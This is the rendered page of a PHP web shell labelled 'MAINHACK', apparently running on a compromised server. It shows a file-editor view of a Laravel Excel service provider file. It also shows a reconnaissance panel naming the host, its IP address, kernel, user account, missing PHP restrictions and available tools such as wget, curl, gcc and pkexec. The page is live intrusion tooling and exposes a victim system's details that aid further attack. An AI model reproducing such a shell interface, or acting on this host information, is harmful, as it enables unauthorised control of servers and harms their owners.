[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ExcelServiceProvider.php
<?php namespace Maatwebsite\Excel; use Illuminate\Database\Eloquent\Builder; use Illuminate\Support\Collection; use Illuminate\Support\ServiceProvider; use Laravel\Lumen\Application as LumenApplication; use Maatwebsite\Excel\Cache\CacheManager; use Maatwebsite\Excel\Console\ExportMakeCommand; use Maatwebsite\Excel\Console\ImportMakeCommand; use Maatwebsite\Excel\Files\Filesystem; use Maatwebsite\Excel\Files\TemporaryFileFactory; use Maatwebsite\Excel\Mixins\DownloadCollectionMixin; use Maatwebsite\Excel\Mixins\DownloadQueryMacro; use Maatwebsite\Excel\Mixins\ImportAsMacro; use Maatwebsite\Excel\Mixins\ImportMacro; use Maatwebsite\Excel\Mixins\StoreCollectionMixin; use Maatwebsite\Excel\Mixins\StoreQueryMacro; use Maatwebsite\Excel\Transactions\TransactionHandler; use Maatwebsite\Excel\Transactions\TransactionManager; class ExcelServiceProvider extends ServiceProvider { /** * {@inheritdoc} */ public function boot() { if ($this->app->runningInConsole()) { $this->publishes([ __DIR__ . '/Console/stubs/export.model.stub' => base_path('stubs/export.model.stub'), __DIR__ . '/Console/stubs/export.plain.stub' => base_path('stubs/export.plain.stub'), __DIR__ . '/Console/stubs/export.query.stub' => base_path('stubs/export.query.stub'), __DIR__ . '/Console/stubs/export.query-model.stub' => base_path('stubs/export.query-model.stub'), __DIR__ . '/Console/stubs/import.collection.stub' => base_path('stubs/import.collection.stub'), __DIR__ . '/Console/stubs/import.model.stub' => base_path('stubs/import.model.stub'), ], 'stubs'); if ($this->app instanceof LumenApplication) { $this->app->configure('excel'); } else { $this->publishes([ $this->getConfigFile() => config_path('excel.php'), ], 'config'); } } if ($this->app instanceof \Illuminate\Foundation\Application) { // Laravel $this->app->booted(function ($app) { $app->make(SettingsProvider::class)->provide(); }); } else { // Lumen $this->app->make(SettingsProvider::class)->provide(); } } /** * {@inheritdoc} */ public function register() { $this->mergeConfigFrom( $this->getConfigFile(), 'excel' ); $this->app->bind(CacheManager::class, function ($app) { return new CacheManager($app); }); $this->app->singleton(TransactionManager::class, function ($app) { return new TransactionManager($app); }); $this->app->bind(TransactionHandler::class, function ($app) { return $app->make(TransactionManager::class)->driver(); }); $this->app->bind(TemporaryFileFactory::class, function () { return new TemporaryFileFactory( config('excel.temporary_files.local_path', config('excel.exports.temp_path', storage_path('framework/laravel-excel'))), config('excel.temporary_files.remote_disk') ); }); $this->app->bind(Filesystem::class, function ($app) { return new Filesystem($app->make('filesystem')); }); $this->app->bind('excel', function ($app) { return new Excel( $app->make(Writer::class), $app->make(QueuedWriter::class), $app->make(Reader::class), $app->make(Filesystem::class) ); }); $this->app->alias('excel', Excel::class); $this->app->alias('excel', Exporter::class); $this->app->alias('excel', Importer::class); Collection::mixin(new DownloadCollectionMixin); Collection::mixin(new StoreCollectionMixin); Builder::macro('downloadExcel', (new DownloadQueryMacro)()); Builder::macro('storeExcel', (new StoreQueryMacro())()); Builder::macro('import', (new ImportMacro())()); Builder::macro('importAs', (new ImportAsMacro())()); $this->commands([ ExportMakeCommand::class, ImportMakeCommand::class, ]); } /** * @return string */ protected function getConfigFile(): string { return __DIR__ . DIRECTORY_SEPARATOR . '..' . DIRECTORY_SEPARATOR . 'config' . DIRECTORY_SEPARATOR . 'excel.php'; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.82 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002